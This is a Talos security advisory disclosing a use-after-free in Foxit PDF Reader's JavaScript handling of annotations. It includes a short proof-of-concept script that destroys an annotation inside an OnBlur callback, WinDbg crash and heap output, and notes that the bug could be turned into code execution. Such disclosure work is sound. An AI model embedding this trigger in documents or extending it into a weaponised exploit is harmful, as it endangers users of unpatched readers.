Talos Vulnerability Report

TALOS-2022-1601

Foxit Reader annotation destroy use-after-free vulnerability

November 10, 2022
CVE Number

CVE-2022-38097

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. By prematurely destroying annotation objects, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.0.1.12430

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

function main() {

getField("txt2").setAction("OnBlur",'f20();');
getField('txt2').setFocus();
this.addAnnot({page: 1, type: "Stamp", point: [6,13,12,16],state : 0,popupOpen : true,callout : "",lineEnding :0,name :"b"}); 

}



function f20() { 

this.getAnnots()[0].destroy(); 

}

The above code simply assigns a callback function to ‘OnBlur’ action for field txt2. Next, a new annotation is created which promptly makes the field txt2 lose focus, triggering its callback. In the action callback, the newly created annotation is immediately destroyed, which ends up freeing the associated memory. We can observe the following in the debugger at the time of the crash:

(21b0.1d4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=07afdf34 ecx=17c7a87d edx=0c4b0000 esi=27a9afe8 edi=07afdf54
eip=02ce68a7 esp=07afded0 ebp=07afdf20 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
FoxitPDFReader!safe_vsnprintf+0xe252c7:
02ce68a7 8b06            mov     eax,dword ptr [esi]  ds:002b:27a9afe8=????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe252c7:
02ce68a7 8b06            mov     eax,dword ptr [esi]
02ce68a9 8bce            mov     ecx,esi
02ce68ab 8b4040          mov     eax,dword ptr [eax+40h]
02ce68ae ffd0            call    eax
02ce68b0 84c0            test    al,al
02ce68b2 7469            je      FoxitPDFReader!safe_vsnprintf+0xe2533d (02ce691d)
02ce68b4 f30f1045fc      movss   xmm0,dword ptr [ebp-4]
02ce68b9 0f57c9          xorps   xmm1,xmm1
0:000> k 8
 # ChildEBP RetAddr      
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07afdf20 02c60f8f     FoxitPDFReader!safe_vsnprintf+0xe252c7
01 07afe11c 02c331f2     FoxitPDFReader!safe_vsnprintf+0xd9f9af
02 07afe170 02f54d9b     FoxitPDFReader!safe_vsnprintf+0xd71c12
03 07afe1b8 03138a8b     FoxitPDFReader!FXJSE_GetClass+0x26b
04 07afe220 0313824e     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e361b
05 07afe2b4 03138505     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e2dde
06 07afe2fc 0313838b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3095
07 07afe318 0335a53b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e2f1b
0:000> !heap -p -a esi
    address 27a9afe8 found in
    _DPH_HEAP_ROOT @ c4b1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   2f1c11d4:         27a9a000             2000
    64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
    77ae3812 ntdll!RtlFreeHeap+0x00000222
    0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
    0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
    045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
    01513fd9 FoxitPDFReader!CryptUIWizExport+0x00034699
    016e442d FoxitPDFReader!CryptUIWizExport+0x00204aed
    019b6204 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00015f04
    019b622b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00015f2b
    00da8efe FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000458fe
    00da268d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0003f08d
    01724664 FoxitPDFReader!CryptUIWizExport+0x00244d24
    01727c0c FoxitPDFReader!CryptUIWizExport+0x002482cc
    0197b9f1 FoxitPDFReader!CryptUIWizExport+0x0049c0b1
    01385d32 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002e6532
    01500b7e FoxitPDFReader!CryptUIWizExport+0x0002123e
    02cf7a11 FoxitPDFReader!safe_vsnprintf+0x00e36431
    02ce0972 FoxitPDFReader!safe_vsnprintf+0x00e1f392
    02f54d9b FoxitPDFReader!FXJSE_GetClass+0x0000026b
    03138a8b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e361b
    0313824e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2dde
    03138505 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e3095
    0313838b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2f1b
    0335a53b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x004050cb
    032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
    032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
    032f4c20 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f7b0
    032f4a49 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f5d9
    02f915ee FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003c17e
    02f91102 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003bc92

In the above debugger output, we can see that the crash is due to dereference of invalid memory (with PageHeap enabled). The memory is invalid because it belongs to a freed allocation, as shown by output of !heap. Additionally, the dereference happens as part of a vtable function call, which lends itself to straightforward control flow hijacking. If we step back and examine the size of the object before it’s been freed, we would see:

 0:000> dt _DPH_BLOCK_INFORMATION 27a9afc8
verifier!_DPH_BLOCK_INFORMATION
   +0x000 StartStamp       : 0xabcdbbbb
   +0x004 Heap             : 0x1a161000 Void
   +0x008 RequestedSize    : 0x14
   +0x00c ActualSize       : 0x1000
   +0x010 Internal         : _DPH_BLOCK_INTERNAL_INFORMATION
   +0x018 StackTrace       : 0x1b507994 Void
   +0x01c EndStamp         : 0xdcbabbbb

The freed object that is first being dereferenced is of size 0x14. A newly created annotation is deleted inside the event handler, but is then reused in the main execution thread, which causes a crash. This indicates a use-after-free condition. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

TIMELINE

2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.